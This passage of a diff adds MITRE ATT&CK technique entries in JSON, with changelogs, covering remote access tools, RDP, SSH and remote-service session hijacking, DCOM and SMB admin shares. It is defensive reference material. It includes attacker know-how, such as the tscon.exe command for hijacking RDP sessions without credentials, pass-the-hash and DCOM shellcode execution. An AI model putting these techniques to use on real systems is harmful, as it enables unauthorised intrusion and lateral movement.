mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0011: Module (Module Load)",
+ "DS0012: Script (Script Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0300: Detection Strategy for Reflective Code Loading"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2018-04-18 17:59:24.739000+00:00",
+ "modified": "2025-10-24 17:48:42.154000+00:00",
+ "name": "Remote Access Tools",
+ "description": "An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.\n\nRemote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system.\n\nInstallation of many remote access tools may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome\u2019s Remote Desktop).(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop)",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "command-and-control"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1219",
+ "external_id": "T1219"
+ },
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+ "source_name": "CrowdStrike 2015 Global Threat Report",
+ "description": "CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.",
+ "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf"
+ },
+ {
+ "source_name": "CrySyS Blog TeamSpy",
+ "description": "CrySyS Lab. (2013, March 20). TeamSpy \u2013 Obshie manevri. Ispolzovat\u2019 tolko s razreshenija S-a. Retrieved April 11, 2018.",
+ "url": "https://blog.crysys.hu/2013/03/teamspy/"
+ },
+ {
+ "source_name": "Google Chrome Remote Desktop",
+ "description": "Google. (n.d.). Retrieved March 14, 2024.",
+ "url": "https://support.google.com/chrome/answer/1649523"
+ },
+ {
+ "source_name": "Chrome Remote Desktop",
+ "description": "Huntress. (n.d.). Retrieved March 14, 2024.",
+ "url": "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+ },
+ {
+ "source_name": "Symantec Living off the Land",
+ "description": "Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.",
+ "url": "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf"
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+ "Dray Agha, @Purp1eW0lf, Huntress Labs"
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+ "DET0496: Behavior-Chain Detection for Remote Access Tools (Tool-Agnostic)"
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+ "name": "Remote Service Session Hijacking",
+ "description": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)",
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+ "external_id": "T1563"
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+ "source_name": "RDP Hijacking Medium",
+ "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
+ "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"
+ },
+ {
+ "source_name": "Breach Post-mortem SSH Hijack",
+ "description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved November 17, 2024.",
+ "url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident/"
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+ "name": "RDP Hijacking",
+ "description": "Adversaries may hijack a legitimate user\u2019s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)",
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+ "external_references": [
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+ "url": "https://attack.mitre.org/techniques/T1563/002",
+ "external_id": "T1563.002"
+ },
+ {
+ "source_name": "RDP Hijacking Medium",
+ "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
+ "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"
+ },
+ {
+ "source_name": "RDP Hijacking Korznikov",
+ "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.",
+ "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html"
+ },
+ {
+ "source_name": "TechNet Remote Desktop Services",
+ "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
+ "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
+ },
+ {
+ "source_name": "Kali Redsnarf",
+ "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.",
+ "url": "https://github.com/nccgroup/redsnarf"
+ }
+ ],
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+ "shared": [],
+ "new": [
+ "DET0588: Detection fo Remote Service Session Hijacking for RDP."
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+ "id": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8",
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+ "created": "2020-02-25 18:34:38.290000+00:00",
+ "modified": "2025-10-24 17:48:45.240000+00:00",
+ "name": "SSH Hijacking",
+ "description": "Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
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+ "phase_name": "lateral-movement"
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1563/001",
+ "external_id": "T1563.001"
+ },
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+ "source_name": "SSHjack Blackhat",
+ "description": "Adam Boileau. (2005, August 5). Trust Transience: Post Intrusion SSH Hijacking. Retrieved December 19, 2017.",
+ "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf"
+ },
+ {
+ "source_name": "Clockwork SSH Agent Hijacking",
+ "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20210311184303/https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/"
+ },
+ {
+ "source_name": "Slideshare Abusing SSH",
+ "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.",
+ "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219"
+ },
+ {
+ "source_name": "Breach Post-mortem SSH Hijack",
+ "description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved November 17, 2024.",
+ "url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident/"
+ }
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+ "modified": "2025-10-24 17:48:48.472000+00:00",
+ "name": "Remote Services",
+ "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. \n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "lateral-movement"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1021",
+ "external_id": "T1021"
+ },
+ {
+ "source_name": "Apple Remote Desktop Admin Guide 3.3",
+ "description": "Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.",
+ "url": "https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf"
+ },
+ {
+ "source_name": "Remote Management MDM macOS",
+ "description": "Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.",
+ "url": "https://support.apple.com/en-us/HT209161"
+ },
+ {
+ "source_name": "Kickstart Apple Remote Desktop commands",
+ "description": "Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.",
+ "url": "https://support.apple.com/en-us/HT201710"
+ },
+ {
+ "source_name": "Lockboxx ARD 2019",
+ "description": "Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.",
+ "url": "http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html"
+ },
+ {
+ "source_name": "FireEye 2019 Apple Remote Desktop",
+ "description": "Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.",
+ "url": "https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html"
+ },
+ {
+ "source_name": "TechNet Remote Desktop Services",
+ "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
+ "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
+ },
+ {
+ "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
+ "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
+ "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
+ },
+ {
+ "source_name": "SSH Secure Shell",
+ "description": "SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.",
+ "url": "https://www.ssh.com/ssh"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Dan Borges, @1njection"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows",
+ "IaaS",
+ "ESXi"
+ ],
+ "x_mitre_version": "1.6",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Network Traffic: Network Connection Creation\", \"Command: Command Execution\", \"Network Share: Network Share Access\", \"WMI: WMI Creation\", \"Logon Session: Logon Session Creation\", \"Network Traffic: Network Traffic Flow\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.472000+00:00\", \"old_value\": \"2025-04-15 19:58:32.234000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. \\n\\nUse of applications such as ARD may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. \\n\\nIn macOS, you can review logs for \\\"screensharingd\\\" and \\\"Authentication\\\" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. \\n-\\n-Use of applications such as ARD may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. \\n-\\n-In macOS, you can review logs for \\\"screensharingd\\\" and \\\"Authentication\\\" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\"}}}",
+ "previous_version": "1.6",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1027: Password Policies",
+ "M1032: Multi-factor Authentication",
+ "M1035: Limit Access to Resource Over Network",
+ "M1042: Disable or Remove Feature or Program",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0005: WMI (WMI Creation)",
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0028: Logon Session (Logon Session Creation)",
+ "DS0029: Network Traffic (Network Connection Creation)",
+ "DS0029: Network Traffic (Network Traffic Flow)",
+ "DS0033: Network Share (Network Share Access)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0269: Behavioral Detection Strategy for Remote Service Logins and Post-Access Activity"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 18:26:36.444000+00:00",
+ "modified": "2025-10-24 17:48:53.724000+00:00",
+ "name": "Distributed Component Object Model",
+ "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "lateral-movement"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1021/003",
+ "external_id": "T1021.003"
+ },
+ {
+ "source_name": "Fireeye Hunting COM June 2019",
+ "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
+ "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
+ },
+ {
+ "source_name": "Microsoft COM",
+ "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
+ },
+ {
+ "source_name": "Microsoft COM ACL",
+ "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
+ "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1"
+ },
+ {
+ "source_name": "Microsoft Process Wide Com Keys",
+ "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
+ "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
+ },
+ {
+ "source_name": "MSDN WMI",
+ "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.",
+ "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx"
+ },
+ {
+ "source_name": "Enigma DCOM Lateral Movement Jan 2017",
+ "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
+ "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/"
+ },
+ {
+ "source_name": "Enigma MMC20 COM Jan 2017",
+ "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
+ "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"
+ },
+ {
+ "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017",
+ "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
+ "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"
+ },
+ {
+ "source_name": "Enigma Excel DCOM Sept 2017",
+ "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
+ "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/"
+ },
+ {
+ "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017",
+ "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
+ "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Module: Module Load\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:53.724000+00:00\", \"old_value\": \"2025-04-15 22:20:51.024000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\\n\\nMonitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\\n-\\n-Monitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1026: Privileged Account Management",
+ "M1030: Network Segmentation",
+ "M1042: Disable or Remove Feature or Program",
+ "M1048: Application Isolation and Sandboxing"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0029: Network Traffic (Network Connection Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0285: Multi-Event Behavioral Detection for DCOM-Based Remote Code Execution"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 18:25:28.212000+00:00",
+ "modified": "2025-10-24 17:48:45.700000+00:00",
+ "name": "SMB/Windows Admin Shares",
+ "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "lateral-movement"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1021/002",
+ "external_id": "T1021.002"
+ },
+ {
+ "source_name": "Medium Detecting WMI Persistence",
+ "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.",
+ "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"
+ },
+ {
+ "source_name": "TechNet RPC",
+ "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.",
+ "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx"
+ },
+ {
+ "source_name": "Microsoft Admin Shares",
+ "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.",
+ "url": "http://support.microsoft.com/kb/314984"
+ },
+ {
+ "source_name": "Windows Event Forwarding Payne",
+ "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.",
+ "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem"
+ },
+ {
+ "source_name": "Lateral Movement Payne",
+ "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.",
+ "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts"
+ },
+ {
+ "source_name": "Wikipedia Server Message Block",
+ "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
+ "url": "https://en.wikipedia.org/wiki/Server_Message_Block"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.3",
